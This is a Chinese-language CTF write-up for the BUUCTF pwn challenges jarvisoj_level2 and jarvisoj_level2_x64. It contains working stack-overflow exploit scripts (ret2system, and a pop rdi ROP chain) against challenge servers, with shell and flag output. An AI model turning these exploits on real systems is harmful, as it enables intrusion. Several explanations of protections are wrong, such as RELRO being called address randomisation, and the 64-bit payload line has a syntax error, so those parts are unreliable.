32位和64位传参
一.前言
Buuctf pwn 上面的第 10 题,这篇文章会写一些我在做 pwn 题时的解题过程,在做题期间遇到并解决的一些问题,还有一些不懂的名词和概念的解释,以及一些做题时涉及到的工具的粗略版的使用方法。
二.解题过程
题目:jarvisoj_level2
- 检查它开启的保护 打开终端输入 checksec level2 回车,发现是 i386 处理器(i386 是 CPU 的种类/架构,amd64 是 64 位计算机架构); 32 位的文件,所以用 32 位的 IDA 打开(如果是 64 位的就用 64 位的 IDA 打开); little 指的是小端存储(低地址低字节,地址从小向大增加,数据从低位往高位放,Linux 的主机字节序的是小端模式)。 Arch: i386-32-little 开启的保护如下所示:(这些保护在本地是可以关闭的,但是在远程不行)可以看到,这道题开启了堆栈地址随机化和栈数据不可执行保护。
RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
其中,RELRO(ASLR)意味着地址随机化,它分为两种情况: 1)Partial RELRO:开启堆栈地址随机化,got 表只读,.bss 段和.data 段是可读和可写的。 2)Full RELRO:全部开启,延迟绑定被禁止,所有的符号被解析。 (PS:GOT 表是全局偏移表,储存的是函数地址;Plt 表是过程连接表,储存 got表中的地址) (PS:真实地址=基地址+偏移地址) Stack(CANARY 金丝雀):防止所有的栈溢出攻击手段,在函数开始时就随机产生一个值,将这个值 CANARY 放到栈上紧挨 ebp 的上一个位置,当攻击者想通过缓冲区溢出覆盖 ebp 或者 ebp 下方的返回地址时,一定会覆盖掉 CANARY 的值;当程序结束时,程序会检查 CANARY 这个值和之前的是否一致,如果不一致,则不会往下运行,从而避免了缓冲区溢出攻击。 NX 保护:数据执行保护,当 NX 开启后,堆,栈,bss 段上的数据就不可执行了,这个时候就不能跳到栈上执行 shellcode 了,也不能栈溢出了。 PIE 意味着代码地址随机化(高位的地址随机化,地位的地址不变),每次加载程序的时候都会变换加载地址,不能利用 ROPgadget 来解题了。可以利用低地址来绕过。
- 放入 IDA 打开。 因为它是 32 位的,所以打开 32 位的 IDA。然后 f5 转到反汇编窗口,可以看到 main 函数里调用了 vulnerable_function 函数,点进去,发现 buf(buffer 缓冲区,本质上是一段存储数据的内存)只有 136 个字节大小,发现下面的 read 函数是要将 0x100u 写进 buf 缓冲区中,由于 0x100 是十六进制的在这里我们需要把它转化为十进制,所以将鼠标停留在 0x100u 上右键选择 Decimal(十进制),转化为十进制是 256,因为 256>136(read 函数读取了 256 个字节放到 buf 缓冲区上,但缓冲的大小只有 136 个字节,所以发生了缓冲区溢出。鼠标停留在 buf 上,双击点进去进入到栈中,栈溢出就是将上层函数的栈帧 中的"返回地址"给覆盖掉, 以达到改变程序执行流的效果,所以我们用垃圾数据将栈填满,在返回地址上写入我们想要它执行的地址。进入栈中可以看到在 0x88的位置处是 buf 缓冲区的底部,而由于栈是由高地址向低地址增长的,所以下面的 s 是栈顶指针,r 是返回地址。
strings(字符串)用 shift+f12 或者在最上层工具栏那里找到 view,选择 opensubviews(通过 View—>Open Subviews 菜单可打开其他数据显示窗口),然后选择 strings 也行。打开可以看到二进制中的字符串有 system 函数也有/bin/sh,我们要想调用 system 函数执行 binsh,首先要将栈用垃圾数据覆盖掉,需要 0x88+4个字节,其中 0x88 是栈所占字节的大小,这里加的 4 个字节是 esp 栈顶指针的大小,覆盖完后在 r 也就是返回地址上写如 system 函数的地址,可以在左边Functions window 里找到 system 在.pit 表的的地址是 0x08048320. binsh 的地址可以通过双击 strings 里的 binsh 字符串,找到它在.data 段中的地址是 0x0804A024。
由于开启了 NX 保护,不能执行在栈上的代码,所以通过构造 ROP 链进行绕过。构造思路如下: 栈溢出后在返回地址调用 system 函数,由于执行完 system 函数后还会有一个返回地址,为了不让它正常返回,所以还要写入 4 个字节的垃圾数据覆盖掉system 的返回地址,覆盖后执行 binsh,拿到 shell(shell 是操作系统的最外层,是一个用户跟操作系统之间交互的命令解释器。大多数 linux 默认的 shell 命令解释器是 bash【/bin/bash】,shell 可以合并编程语言以控制进程和文件,以及启动和控制其他程序)。 (PS:IDA 的一些常用快捷键 F5 打开反编译窗口 Esc 返回上一层 Shift + f12 搜索字符串 Tab 对应函数的 C 语言代码和汇编代码转换 空格 图形视图【默认】和列表视图转换) Alt+T 搜索字符串
- 编写 exp 脚本
from pwn import * r=remote('node4.buuoj.cn',27181) system_addr = 0x08048320 binsh_addr = 0x0804A024 payload = b'a'*(0x88+4) + p32(system_addr)+b'a'*4+p32(binsh_addr) r.sendline(payload) r.interactive()
r=remote("远程链接 ip",端口) r.sendline(payload) #发送 payload,并进行换行(末尾\n) r.interactive() #直接进行交互,相当于回到 shell 的模式,一般在取得 shell之后使用
2.执行 exp 脚本 打开终端,python3 脚本名称.py 回车,连接成功,输入 ls 查看当前文件夹 下都有哪些文件,发现 flag,输入 cat flag 获取 flag.
deerl@DESKTOP-SQ76TQN:~$ python3 1.py [+] Opening connection to node4.buuoj.cn on port 27181: Done [] Switching to interactive mode Input: $ ls bin boot dev etc flag flag.txt home lib lib32 lib64 media mnt opt proc pwn root run sbin srv sys tmp usr var [] Got EOF while reading in interactive $ cat flag flag{925a20a7-d66e-4692-928a-25ac5232e0e7}
三.其它补充
上面这道题是 32 位的,是通过栈传参的。但后来我做了一个类似的题,只开起了 NX 保护,我用相同的方法并不能行得通,因为那道题是 64 位的。32 位和 64 位的传参方式不同,64 位是通过寄存器传参的。这道题是 buuctf 上的jarvisoj_level2_x64。我粗略的写一下我解这个题的过程,可以和上面的那道题形成一下对比。
题目:jarvisoj_level2_x64 1.检查它开启的保护
deerl@DESKTOP-SQ76TQN:~$ checksec level2_x64 [] '/home/deerl/level2_x64' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
发现是 64 位架构,64 位的文件,小端存储。只开启了 NX 保护,栈上数据不可执行。由于 32 位和 64 位的传参方式不同,所以这道题需要通过寄存器传参。 2.放入 IDA 打开 F5 看 c 语言代码,发现 main 函数下的 vulnerable_function 函数里有 buf 缓冲区,大小是 128 个字节,而 read 函数写入的 512 个字节,发生了缓冲区溢出。Shift+f12 打开 strings 查看,发现有 system 函数也有/bin/sh 字符串。经过查 找找到 system 的地址为 0x4004c0,而 bin/sh 的地址为 0x600A90。由于 64 位是寄存器传参,所以要用 ROPgadget 找一个合适的寄存器,终端输入 ROPgadget --binary 文件名 --only “pop|ret”。发现在 0x4006b3 处有一个 pop rdi ; ret 可以用来传入/bin/sh 参数。正在调用一个函数时我们需要 push 压栈,这个时候 esp 会抬高指向低地址的地方,给压入的参数预留一个空间,这个地方在进函数的时候并没有值.进入函数之后才会将寄存器的值在拷贝到这个栈中。 3.编写 exp 脚本 这道题的思路大概是,我需要利用寄存器来传入参数/bin/sh,首先还是将垃圾数据填满缓冲区,垃圾数据的大小为 0x80+8 个字节,0x80 是缓冲区的大小,8 是 64 位的 esp 栈顶指针的大小,溢出后在返回地址写入调用的寄存器的地址,将/bin/sh 写入寄存器中,然后调用 system 函数,在进入 system 函数时将寄存器rdi 中的/bin/sh 拷贝在里面并执行。exp 如下:
from pwn import * r=remote('node4.buuoj.cn',27465) context(log_level='debug',arch='amd64',os=’linux’) system_addr = 0x4004C0 binsh_addr = 0x600A90 pop_rdi_ret = 0x4006b3 payload=b'a'(0x80+8)+ p64(pop_rdi_ret) + p64(binsh_addr)+p64(system_addr) r.sendlineafter("Input",payload) r.interactive()
context 是指的是(进程)运行时所处的环境和自身的状态。Log_level 是python 程序在运行时所产生的日志信息,日志分为五个等级,从低到高分别是:
- debug:程序调试 bug 时使用
- info:程序正常运行时使用
- warning:程序未按预期运行时使用,但并不是错误,如:用户登录密码错误
- error:程序出错误时使用,如:IO 操作失败
- caitical:特别严重的问题,导致程序不能再继续运行时使用,如:磁盘空间为空,一般很少使用 arch 是计算机架构,如果是 32 位的 arch 就是 i386,如果是 64 位的 arch 就 是 amd64。os 指的是操作系统。
这 里出 现一 个 r.sendlineafter(sth, payload) 意 思是 接 收到 sth 后, 发 送payload,加个换行。在做题的时候,我发现如果只是单纯的 sendline(payload)将payload 发送过去,那边输出 ls 执行后就会发生这种情况DEBUG] Sent 0x3 bytes:b'ls\n' 大概意思就是我输入 ls 回车后,将这个指令发送过去,发出了三个字节,但并没有查看到该目录下的文件,也就是说,我发出的 payload 被刷掉了。我的理解是,如果在 system 函数执行输出 echo Input:后将 payload 发过去执行可以在system 函数结束后,return 函数执行前执行我们所想的,return 代表一个进程的结束,另一个进程的开始,下一个进程开始会刷新之前写入的,所以要让它在这 个进程没刷新之前执行 payload。
4.执行 exp 脚本 打开终端,python3 脚本名称.py 回车,连接成功,输入 ls 查看当前文件夹下都有哪些文件,发现 flag,输入 cat flag 获取 flag.
[*] Switching to interactive mode: $ ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0x6d bytes: b'bin\n' b'boot\n' b'dev\n' b'etc\n' b'flag\n' b'flag.txt\n' b'home\n' b'lib\n' b'lib32\n' b'lib64\n' b'media\n' b'mnt\n' b'opt\n' b'proc\n' b'pwn\n' b'root\n' b'run\n' b'sbin\n' b'srv\n' b'sys\n' b'tmp\n' b'usr\n' b'var\n' bin boot dev etc flag flag.txt home lib lib32 lib64 media mnt opt proc pwn root run sbin srv sys tmp usr var $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x2b bytes: b'flag{579c213b-9afc-4f70-a6b3-33001891b11a}\n' flag{579c213b-9afc-4f70-a6b3-33001891b11a}#32位和64位传参#